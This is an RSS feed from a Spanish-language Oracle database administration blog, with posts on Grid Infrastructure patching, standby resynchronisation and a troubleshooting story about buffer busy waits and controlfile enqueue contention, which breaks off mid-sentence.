<?xml version="1.0" encoding="UTF-8" standalone="no"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:gd="http://schemas.google.com/g/2005" xmlns:georss="http://www.georss.org/georss" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-2932987194307539277</atom:id><lastBuildDate>Fri, 01 Nov 2024 12:02:30 +0000</lastBuildDate><category>Tuning</category><category>patching</category><category>11gR2</category><category>ASM</category><category>PLSQL</category><category>12c</category><category>Security</category><category>rman</category><category>Data Guard</category><category>Standby</category><category>troubleshoot</category><category>Inventory</category><category>News</category><category>Recovery</category><category>SQL</category><category>audit</category><category>cloning</category><category>AIX</category><category>Connectivity</category><category>Constraints</category><category>Trace</category><category>Wrap</category><category>archiver</category><category>datapump</category><category>golden image</category><category>log miner</category><category>presentación</category><category>rac</category><title>Snapshot Too Old</title><description>El Blog sobre Oracle con trucos, how-to's y recomendaciones para los novatos y los entendidos.</description><link>http://blog.e-dba.biz/</link><managingEditor>noreply@blogger.com (Enrique Orbegozo)</managingEditor><generator>Blogger</generator><openSearch:totalResults>42</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-4322873749795990419</guid><pubDate>Wed, 27 Aug 2014 00:13:00 +0000</pubDate><atom:updated>2014-08-26T19:13:24.930-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">12c</category><category domain="http://www.blogger.com/atom/ns#">cloning</category><category domain="http://www.blogger.com/atom/ns#">golden image</category><category domain="http://www.blogger.com/atom/ns#">patching</category><category domain="http://www.blogger.com/atom/ns#">rac</category><title>Rolling Out-of-Place patching para Oracle Grid Infrastructure 12c y 11gR2: clonación en esteroides</title><description>&lt;div&gt;
Mi &lt;a href="http://tinyurl.com/mgngs7q"&gt;artículo&lt;/a&gt; más reciente para &lt;b&gt;ToadWorld&lt;/b&gt;, dentro de una serie dedicada a aplicar &lt;i&gt;patches&lt;/i&gt; con mínima suspensión del servicio. Ahora detallando cómo aplicar &lt;i&gt;patches &lt;/i&gt;a &lt;i&gt;Grid Infrastructure&lt;/i&gt; usando un &lt;i&gt;Golden Image&lt;/i&gt;.&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRGFAgYrEu6OhClRUEbXskyIUPLuiv8xAEJxiY-FecNKfGuew2xw5LmEUX8FvvVaxzNCJgt1KsZI6hKdgF8pfyAsJgdEt0Z3WKte4RJdRMattuUl6zEggnFRPcmVO-BhcgAiKM01nGH1xM/s1600/clone.golden.image.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRGFAgYrEu6OhClRUEbXskyIUPLuiv8xAEJxiY-FecNKfGuew2xw5LmEUX8FvvVaxzNCJgt1KsZI6hKdgF8pfyAsJgdEt0Z3WKte4RJdRMattuUl6zEggnFRPcmVO-BhcgAiKM01nGH1xM/s1600/clone.golden.image.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span class="fullpost"&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span class="fullpost"&gt;
&lt;/span&gt;
&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2014/08/Rolling-Out-of-Place-patching-grid-infrastructure-golde-image.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRGFAgYrEu6OhClRUEbXskyIUPLuiv8xAEJxiY-FecNKfGuew2xw5LmEUX8FvvVaxzNCJgt1KsZI6hKdgF8pfyAsJgdEt0Z3WKte4RJdRMattuUl6zEggnFRPcmVO-BhcgAiKM01nGH1xM/s72-c/clone.golden.image.png" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-4310904438026220688</guid><pubDate>Thu, 31 Jul 2014 02:54:00 +0000</pubDate><atom:updated>2014-08-13T23:28:50.794-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">11gR2</category><category domain="http://www.blogger.com/atom/ns#">12c</category><category domain="http://www.blogger.com/atom/ns#">cloning</category><category domain="http://www.blogger.com/atom/ns#">patching</category><title>Rolling Out-of-Place patching para Oracle Grid Infrastructure 12c y 11gR2</title><description>&lt;div&gt;
Mi &lt;a href="http://bit.ly/1u1T1nR"&gt;artículo&lt;/a&gt; más reciente para &lt;b&gt;ToadWorld&lt;/b&gt;, dentro de una serie dedicada a aplicar &lt;i&gt;patches&lt;/i&gt; con mínima suspensión del servicio.&lt;/div&gt;
&lt;br /&gt;
&lt;span class="fullpost"&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8u0iWUd908UcJsz2alblJj88APt4TwV4jNFaHclUkwkBXqYnvDNnCDQo3nSTJxxfVcoZ6t0rX3WRDKqRxcflSAFjK8qJ5x8EkPulbRVAkBe2YEN4lICiH_KpIHhC_DrdXsHmF9alEqTTF/s1600/capture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8u0iWUd908UcJsz2alblJj88APt4TwV4jNFaHclUkwkBXqYnvDNnCDQo3nSTJxxfVcoZ6t0rX3WRDKqRxcflSAFjK8qJ5x8EkPulbRVAkBe2YEN4lICiH_KpIHhC_DrdXsHmF9alEqTTF/s1600/capture.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span class="fullpost"&gt;
&lt;/span&gt;
&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2014/07/rolling-out-of-place-patching-grid-infrastructure.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8u0iWUd908UcJsz2alblJj88APt4TwV4jNFaHclUkwkBXqYnvDNnCDQo3nSTJxxfVcoZ6t0rX3WRDKqRxcflSAFjK8qJ5x8EkPulbRVAkBe2YEN4lICiH_KpIHhC_DrdXsHmF9alEqTTF/s72-c/capture.png" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-1552076934373931552</guid><pubDate>Fri, 11 Jul 2014 22:32:00 +0000</pubDate><atom:updated>2014-07-11T17:32:28.427-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">11gR2</category><category domain="http://www.blogger.com/atom/ns#">12c</category><category domain="http://www.blogger.com/atom/ns#">patching</category><title>De cómo un clon nos puede ayudar con un patch (updated to 12c)</title><description>&lt;div&gt;
Cada vez que vamos a aplicar un &lt;b&gt;&lt;i&gt;patch&lt;/i&gt;&lt;/b&gt; o un &lt;b&gt;&lt;i&gt;patch set update (PSU)&lt;/i&gt;&lt;/b&gt;, el procedimiento tradicional implica &lt;b&gt;detener&lt;/b&gt; todos los procesos que se estén ejecutando en el &lt;b&gt;&lt;i&gt;Oracle home directory&lt;/i&gt;&lt;/b&gt; involucrado, lo cual obliga a que &lt;b&gt;dejemos de prestar servicio&lt;/b&gt; para iniciar el &lt;b&gt;&lt;i&gt;patching&lt;/i&gt;&lt;/b&gt;, proceso que si bien es relativamente fácil y sencillo, está sujeto a eventuales &lt;b&gt;fallas&lt;/b&gt; que, de ocurrir, pueden llevar a una situación de &lt;b&gt;crisis&lt;/b&gt; en la cual el DBA debe identificar el problema y tratar de &lt;b&gt;resolverlo&lt;/b&gt;, u optar por dar &lt;b&gt;marcha atrás&lt;/b&gt;. En este &lt;a href="http://www.oracle.com/technetwork/es/articles/database-performance/clon-for-patch-oracle-server-2240582-esa.html"&gt;artículo&lt;/a&gt; que he publicado en &lt;i&gt;Oracle Technology Network&lt;/i&gt; les explico &lt;b&gt;cómo&lt;/b&gt; hacerlo. ¡Que disfruten la lectura!&lt;/div&gt;
&lt;br /&gt;
&lt;span class="fullpost"&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;span class="fullpost"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2HEUZNdv9Vzj6PO3-k9Oanm1JZa9WU-khpcPGSgIWPrsOFvkhso_MvTgfV0k_qDP8BKJI0ZX53N0WHTH9t43DNnN1s7ZqaRBVMyY4QiW-b3hH49q_E3ACNbW9BDLM2WUhB6aCRKmpVcIl/s1600/otn.lad.july2014.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2HEUZNdv9Vzj6PO3-k9Oanm1JZa9WU-khpcPGSgIWPrsOFvkhso_MvTgfV0k_qDP8BKJI0ZX53N0WHTH9t43DNnN1s7ZqaRBVMyY4QiW-b3hH49q_E3ACNbW9BDLM2WUhB6aCRKmpVcIl/s1600/otn.lad.july2014.png" height="400" width="600" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span class="fullpost"&gt;
&lt;/span&gt;

&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2014/07/como-clon-puede-ayudar-patch.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2HEUZNdv9Vzj6PO3-k9Oanm1JZa9WU-khpcPGSgIWPrsOFvkhso_MvTgfV0k_qDP8BKJI0ZX53N0WHTH9t43DNnN1s7ZqaRBVMyY4QiW-b3hH49q_E3ACNbW9BDLM2WUhB6aCRKmpVcIl/s72-c/otn.lad.july2014.png" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-7056770518464612405</guid><pubDate>Fri, 27 Jun 2014 21:23:00 +0000</pubDate><atom:updated>2014-06-27T16:30:48.239-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">12c</category><category domain="http://www.blogger.com/atom/ns#">Data Guard</category><category domain="http://www.blogger.com/atom/ns#">Recovery</category><category domain="http://www.blogger.com/atom/ns#">rman</category><category domain="http://www.blogger.com/atom/ns#">Standby</category><title>¿Archive log perdido? No reconstruya su Standby (al estilo 12c)</title><description>&lt;div&gt;
Se ha escrito hasta la saciedad (&lt;a href="http://blog.e-dba.biz/2008/10/archive-log-perdido-no-reconstruya-su.html"&gt;incluso yo&lt;/a&gt;) sobre &lt;b&gt;cómo&lt;/b&gt; &lt;b&gt;re-sincronizar&lt;/b&gt; una base de datos Standby en aquellos casos en los cuales la sincronización se suspendió y al tratar de reiniciarla nos topamos con que al menos un &lt;i&gt;archivelog &lt;/i&gt;requerido ya &lt;b&gt;no está disponible&lt;/b&gt;. En este &lt;a href="http://www.toadworld.com/platforms/oracle/w/wiki/10950.archive-log-perdido-no-reconstruya-su-standby-al-estilo-12c.aspx"&gt;artículo&lt;/a&gt; que he publicado en &lt;i&gt;Toad World&lt;/i&gt; les explico lo &lt;b&gt;simple &lt;/b&gt;que resulta resolver este problema cuando están usando &lt;b&gt;&lt;i&gt;Oracle Server&lt;/i&gt; 12c.&lt;/b&gt; ¡Que disfruten la lectura!&lt;/div&gt;
&lt;br /&gt;
&lt;span class="fullpost"&gt;
&lt;/span&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;span class="fullpost"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQfzR-A90cJ34yEsEpZhILethCCpcahIDr3A90CtkCMe9blU4pQPVHmbrnaC7PDW1HgYFtKo9sZNjkSptNnzCiMqwsWCzGGJGzm_QKCQmiZyUBEkvCZNGSy86sfmyW1uspNmkAkBUgXuTA/s1600/toadworld.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQfzR-A90cJ34yEsEpZhILethCCpcahIDr3A90CtkCMe9blU4pQPVHmbrnaC7PDW1HgYFtKo9sZNjkSptNnzCiMqwsWCzGGJGzm_QKCQmiZyUBEkvCZNGSy86sfmyW1uspNmkAkBUgXuTA/s1600/toadworld.png" height="400" width="600" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span class="fullpost"&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2014/06/roll-forward-standby-database-12c.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQfzR-A90cJ34yEsEpZhILethCCpcahIDr3A90CtkCMe9blU4pQPVHmbrnaC7PDW1HgYFtKo9sZNjkSptNnzCiMqwsWCzGGJGzm_QKCQmiZyUBEkvCZNGSy86sfmyW1uspNmkAkBUgXuTA/s72-c/toadworld.png" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-6813449429977860879</guid><pubDate>Wed, 11 Jun 2014 06:16:00 +0000</pubDate><atom:updated>2014-06-11T09:17:22.942-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">troubleshoot</category><category domain="http://www.blogger.com/atom/ns#">Tuning</category><title>Troubleshoot: perdiendo el control</title><description>&lt;div&gt;Me encontraba sumergido en un proyecto de &lt;b&gt;diseño&lt;/b&gt; e &lt;b&gt;implementación&lt;/b&gt; de un &lt;b&gt;Oracle RAC 11gR2&lt;/b&gt;, en las instalaciones de uno de mis clientes regulares, cuando fui interrumpido por el jefe del proyecto. Me empezó a comentar sobre sobre un &lt;b&gt;problema de desempeño&lt;/b&gt; que venían experimentando con la base de datos principal, que aún se encontraba en &lt;b&gt;Oracle RAC 10gR2&lt;/b&gt;, y que como parte del proyecto sería actualizada a 11gR2. Habían ya identificado que el evento principal era &lt;b&gt;&lt;i&gt;buffer busy waits&lt;/i&gt;&lt;/b&gt; y me pidieron darle una mirada para ver que se podía hacer para &lt;b&gt;resolverlo&lt;/b&gt;. La tarea parecía simple, era solo cuestión de identificar el &lt;b&gt;objeto problemático&lt;/b&gt;, pero como ya es habitual se trataba solo de la &lt;b&gt;punta del &lt;i&gt;iceberg&lt;/i&gt;&lt;/b&gt;. ¿Quieres saber qué paso?, pues &lt;b&gt;acompáñenme&lt;/b&gt; en esta interesante historia, sacada de la &lt;b&gt;vida real&lt;/b&gt;.&lt;/div&gt;&lt;br&gt;
&lt;span class="fullpost"&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;First round&lt;/span&gt;
&lt;div&gt;Según lo indicaban los reportes de &lt;b&gt;AWR&lt;/b&gt; el escenario inicial era el siguiente:&lt;/div&gt;&lt;br&gt;
&lt;pre class="codigo"&gt;Top 5 Timed Events                                         Avg %Total
~~~~~~~~~~~~~~~~~~                                        wait   Call
Event                                 Waits    Time (s)   (ms)   Time Wait Class
------------------------------ ------------ ----------- ------ ------ ----------
&lt;span style="color: red; font-weight: bold;"&gt;buffer busy waits                   116,522     113,002    970   43.1 Concurrenc&lt;/span&gt;
log file switch completion           61,227      59,589    973   22.7 Configurat
log file sync                        26,675      18,098    678    6.9     Commit
db file sequential read           2,167,894      17,680      8    6.7   User I/O
enq: CF - contention                 28,209      13,492    478    5.1      Other

. . .

Segments by Buffer Busy Waits
           Tablespace                      Subobject  Obj.          Busy    % of
Owner         Name    Object Name            Name     Type         Waits Capture
---------- ---------- -------------------- ---------- ----- ------------ -------
SYSTEM     TBS_OTROS  &lt;span style="color: red; font-weight: bold;"&gt;DB_AUDIT_LOGON                  TABLE       98,134   85.30&lt;/span&gt;
USU_MONI   TOOLS      TEST_MONITOR_DB                 TABLE        7,843    6.82
USU_SIC    TBS_OTROS  REGSERVPROVSIC                  TABLE        4,048    3.52
USU_ACP    TBS_OTROS  USUARIO_DB                      TABLE        3,149    2.74
USU_SIC    TBS_OTROS  REGSERVSIC                      TABLE          863     .75
&lt;/pre&gt;&lt;br&gt;
&lt;div&gt;A todas luces el segmento problemático era la tabla &lt;b&gt;db_audit_logon&lt;/b&gt;. Ocurría que al momento de establecerse una conexión con la base de datos se &lt;b&gt;ingresaba&lt;/b&gt; una fila en dicha tabla, pero parte de la lógica incluía una &lt;b&gt;búsqueda&lt;/b&gt; de filas dentro de la &lt;b&gt;misma&lt;/b&gt; tabla, búsqueda que se hacía por un criterio para el cual &lt;b&gt;no existía índice alguno&lt;/b&gt;. Esto hacía que se realizara un &lt;i&gt;&lt;b&gt;full table scan&lt;/b&gt;&lt;/i&gt; sobre dicha tabla, la cual iba demorando más y más con el tiempo, por el normal crecimiento en el número de filas, al punto que se había tornado &lt;b&gt;insoportable&lt;/b&gt; para el usuario final.&lt;/div&gt;&lt;br&gt;
&lt;div&gt;Como medida inmediata recomendé la &lt;b&gt;creación de un nuevo índice&lt;/b&gt;, que luego de implementado permitió &lt;b&gt;eliminar el problema&lt;/b&gt;, o al menos eso pensaba yo, ya que &lt;b&gt;retomé&lt;/b&gt; las tareas propias del proyecto principal en el que estaba envuelto al momento de recibir esta consulta.&lt;/div&gt;&lt;br&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Myth buster&lt;/span&gt;
&lt;div&gt;Aconteció que luego de resuelto el evento &lt;i&gt;buffer busy waits&lt;/i&gt;, el equipo de DBAs empezó a atacar los siguientes eventos en la lista: &lt;i&gt;&lt;b&gt;log file switch completion&lt;/b&gt;&lt;/i&gt; y &lt;i&gt;&lt;b&gt;log file sync&lt;/b&gt;&lt;/i&gt;. Como dio la casualidad de que estaban trasladando los &lt;i&gt;disk groups&lt;/i&gt; a un &lt;b&gt;nuevo&lt;/b&gt; &lt;i&gt;storage server&lt;/i&gt;, y alentados por la &lt;b&gt;recomendación&lt;/b&gt; expresa del proveedor del mismo, optaron por trasladar los &lt;i&gt;online redo logs&lt;/i&gt; a un &lt;i&gt;disk group&lt;/i&gt; &lt;b&gt;exclusivo&lt;/b&gt; para ellos, sobre &lt;b&gt;discos SSD&lt;/b&gt;. Como resultado inmediato el evento &lt;i&gt;log file sync&lt;/i&gt; &lt;b&gt;desapareció&lt;/b&gt; y el evento &lt;i&gt;log file switch completion&lt;/i&gt; &lt;b&gt;disminuyó a la tercera parte&lt;/b&gt;.&lt;/div&gt;&lt;br&gt;
&lt;div&gt;Con tan &lt;b&gt;buenos resultados&lt;/b&gt; obtenidos, o así creían, me consultaron si no era una excelente idea &lt;b&gt;incluir&lt;/b&gt; en mi diseño del &lt;b&gt;nuevo&lt;/b&gt; Oracle RAC 11gR2 un &lt;i&gt;disk group&lt;/i&gt; &lt;b&gt;exclusivo&lt;/b&gt; para los &lt;i&gt;online redo logs&lt;/i&gt; y desde luego con &lt;b&gt;discos SSD&lt;/b&gt;. Vi sus rostros de &lt;b&gt;alegría&lt;/b&gt; transformarse en rostros de &lt;b&gt;asombro&lt;/b&gt; cuando les respondí &lt;b&gt;negativamente&lt;/b&gt;: los discos SSD &lt;b&gt;no son eficientes para grabación&lt;/b&gt;, por el contrario: tienden a volverse cada vez &lt;b&gt;más lentos&lt;/b&gt; cuando son sujetos a una &lt;b&gt;alta tasa de grabación&lt;/b&gt;, que es como justamente se comportan los &lt;i&gt;online redo logs&lt;/i&gt;. 
El que observaran una mejora en los tiempos &lt;b&gt;no tenía relación con los discos SSD&lt;/b&gt;, tenía relación con el hecho de que ahora los &lt;i&gt;online redo logs&lt;/i&gt; residían en &lt;b&gt;discos exclusivos&lt;/b&gt;, con capacidad de consumir &lt;b&gt;todo&lt;/b&gt; el I/O disponible, y ya no como antes, cuando lo &lt;b&gt;compartían&lt;/b&gt; con otros 4TB de datos sujetos a lectura y escritura &lt;b&gt;intensivas&lt;/b&gt;. En otras palabras: podrían lograr el &lt;b&gt;mismo&lt;/b&gt; efecto, e incluso uno &lt;b&gt;mejor&lt;/b&gt;, si hubiesen empleado discos &lt;b&gt;tradicionales&lt;/b&gt;, lo cual de paso tiene la ventaja adicional de representar un &lt;b&gt;desembolso menor&lt;/b&gt;, ya que son muchos más &lt;b&gt;baratos&lt;/b&gt; que su contraparte SSD.&lt;/div&gt;&lt;br&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;La fe mueve... ¿eventos de espera?&lt;/span&gt;
&lt;div&gt;A pesar de la explicación dada, y ya que habían tenido mejoras moviendo los &lt;i&gt;online redo logs&lt;/i&gt; a discos SSD, &lt;b&gt;continuaron&lt;/b&gt; con el siguiente paso en sus planes: &lt;b&gt;mover&lt;/b&gt; también el &lt;b&gt;&lt;i&gt;controlfile&lt;/i&gt;&lt;/b&gt;, con la esperanza de deshacerse del evento &lt;b&gt;&lt;i&gt;enq: CF - contention&lt;/i&gt;&lt;/b&gt;. Lamentablemente para ellos el efecto fue prácticamente &lt;b&gt;nulo&lt;/b&gt;, así que optaron por &lt;b&gt;abrir&lt;/b&gt; un &lt;i&gt;Service Request&lt;/i&gt; con &lt;i&gt;Oracle Support&lt;/i&gt;. El primer error fue abrirlo en &lt;b&gt;español&lt;/b&gt;, las idas y venidas con las traducciones hicieron que el avance fuera &lt;b&gt;muy lento&lt;/b&gt;, y como es usual en el soporte de primer nivel, finalmente lo primero que les solicitaron fue que &lt;b&gt;actualizaran la versión&lt;/b&gt; de &lt;i&gt;Oracle Server&lt;/i&gt;, ya que evidentemente 10gR2 ya &lt;b&gt;no cuenta con soporte premiere&lt;/b&gt; actualmente. El Ingeniero a &lt;b&gt;cargo&lt;/b&gt; del caso no pensaban &lt;b&gt;escalar&lt;/b&gt; el pedido de atención mientras no lo hicieran, así que a mi cliente no le quedó más alternativa que &lt;b&gt;solicitarme&lt;/b&gt; que nuevamente dejara en &lt;b&gt;pausa&lt;/b&gt; el proyecto inicial y me encargara de este problema con carácter de &lt;b&gt;urgente&lt;/b&gt; y &lt;b&gt;prioritario&lt;/b&gt;, ya que la operatividad estaba &lt;b&gt;seriamente comprometida&lt;/b&gt;, y así las cosas &lt;b&gt;acepté&lt;/b&gt; el reto.&lt;/div&gt;&lt;br&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Second round&lt;/span&gt;
&lt;div&gt;Tomemos en cuenta que el &lt;b&gt;nuevo&lt;/b&gt; escenario era el siguiente:&lt;/div&gt;&lt;br&gt;
&lt;pre class="codigo"&gt;Top 5 Timed Events                                         Avg %Total
~~~~~~~~~~~~~~~~~~                                        wait   Call
Event                                 Waits    Time (s)   (ms)   Time Wait Class
------------------------------ ------------ ----------- ------ ------ ----------
CPU time                                         61,576          42.5
&lt;span style="color: red; font-weight: bold;"&gt;enq: CF - contention                 45,676      19,029    417   13.1 Other&lt;/span&gt;
log file switch completion           17,882      17,077    955   11.8 Configurat
control file sequential read     18,658,312      16,081      1   11.1 System I/O
db file sequential read           5,490,434       9,251      2    6.4 User I/O
&lt;/pre&gt;&lt;br&gt;
&lt;div&gt;Este evento de espera era &lt;b&gt;nuevo&lt;/b&gt; para mí, y lo disponible en &lt;i&gt;My Oracle Support&lt;/i&gt; no apuntaba a solución alguna, por lo que empecé por &lt;b&gt;abrir un nuevo&lt;/b&gt; &lt;i&gt;Service Request&lt;/i&gt;, pero esta vez en &lt;b&gt;inglés&lt;/b&gt;, y dejando en claro por anticipado que la situación era &lt;b&gt;extremadamente crítica&lt;/b&gt; y que &lt;b&gt;no&lt;/b&gt; había tiempo para &lt;i&gt;upgrades&lt;/i&gt;. Esta vez lo primero que pidieron fue &lt;b&gt;verificar&lt;/b&gt; con el equipo de &lt;i&gt;storage&lt;/i&gt; para comprobar que no hubiese un problema a esos niveles, considerando que la base de datos había sido movida a un &lt;b&gt;nuevo&lt;/b&gt; &lt;i&gt;storage array&lt;/i&gt;. Desde luego por allí &lt;b&gt;no&lt;/b&gt; iba el problema, ya que incluso se estaban usando discos SSD, así que pasaron a lo &lt;b&gt;siguiente&lt;/b&gt;: revisar que no se generaran &lt;b&gt;demasiados&lt;/b&gt; &lt;i&gt;log switches&lt;/i&gt;. Cuando les mostramos que solo ocurrían entre 2 a 6 por hora, también fue &lt;b&gt;descartado&lt;/b&gt;, y apuntaron a &lt;b&gt;otra&lt;/b&gt; posible causa: encontraron unos mensajes de error en el alert.log y sospecharon de un problema con la conectividad con el servidor que opera con physical standby, y pidieron &lt;b&gt;investigarlo&lt;/b&gt; con el equipo de &lt;b&gt;redes&lt;/b&gt;.&lt;/div&gt;&lt;br&gt;
&lt;pre class="codigo"&gt;Fri Jun 8 06:00:37 2014
Errors in file /u01/admin/db/bdump/db_lns1_2195896.trc:
ORA-03135: connection lost contact
Fri Jun 8 06:00:37 2014
&lt;b&gt;LGWR: I/O error 3135 archiving log 321 to 'dbcntg'&lt;/b&gt;
Fri Jun 8 06:03:56 2014
ARC1: Attempting destination LOG_ARCHIVE_DEST_2 network reconnect (3113)
ARC1: Destination LOG_ARCHIVE_DEST_2 network reconnect abandoned
PING[ARC1]: Error 3113 when pinging standby eppscntg.
Fri Jun 8 06:40:30 2014
Errors in file /u01/admin/db/bdump/db_arc1_745792.trc:
&lt;b&gt;ORA-16146: standby destination control file enqueue unavailable&lt;/b&gt;
Fri Jun 8 06:40:30 2014
Master background archival failure: 16146
&lt;/pre&gt;&lt;br&gt;
&lt;div&gt;Se les explicó que todos los días a las 6am se &lt;b&gt;suspendía&lt;/b&gt; el servicio de la base de datos en &lt;i&gt;standby&lt;/i&gt; para &lt;b&gt;aplicar&lt;/b&gt; los &lt;i&gt;archived redo logs&lt;/i&gt; acumulados durante el día, por lo cual la base de datos primaria &lt;b&gt;perdía&lt;/b&gt; la conexión, y &lt;b&gt;no era&lt;/b&gt; por tanto un problema de &lt;b&gt;conectividad&lt;/b&gt;. Nuevamente a &lt;b&gt;esperar&lt;/b&gt;.&lt;/div&gt;&lt;br&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Gotcha!&lt;/span&gt;&lt;div&gt;Ya llevábamos algunos días con el problema &lt;b&gt;sin resolver&lt;/b&gt;, y empezaban a correr &lt;b&gt;rumores&lt;/b&gt; de que los &lt;b&gt;usuarios&lt;/b&gt; se disponían a &lt;b&gt;tomar por asalto&lt;/b&gt; el centro de cómputo (&lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCo6dnAu-zxTcPBKtg5lm2xaOQJCU24qQl-8BVRO41FMGZGp0imRxtegg-8lThBgqkkwhVejk-meRnliyNiIG_U2uALGas4BaMAsfgtOe9EwgkbdW9o5W9tq30iLOfRc6RogUcM2KxrTa6/"&gt;), cuando &lt;i&gt;Oracle Support&lt;/i&gt; nos indica que leamos el &lt;b&gt;Note 753893.1&lt;i&gt;&lt;/i&gt;&lt;/b&gt; &lt;i&gt;Degraded performance on standby due to waits on controlfile enqueue&lt;/i&gt; (no se molesten en buscarlo, es un documento &lt;b&gt;interno&lt;/b&gt;, &lt;b&gt;no disponible&lt;/b&gt; para el público en general). En este documento se señala que ante una gran cantidad de &lt;i&gt;archived redo logs&lt;/i&gt; registrados en el &lt;i&gt;controlfile&lt;/i&gt;, puede presentarse el evento 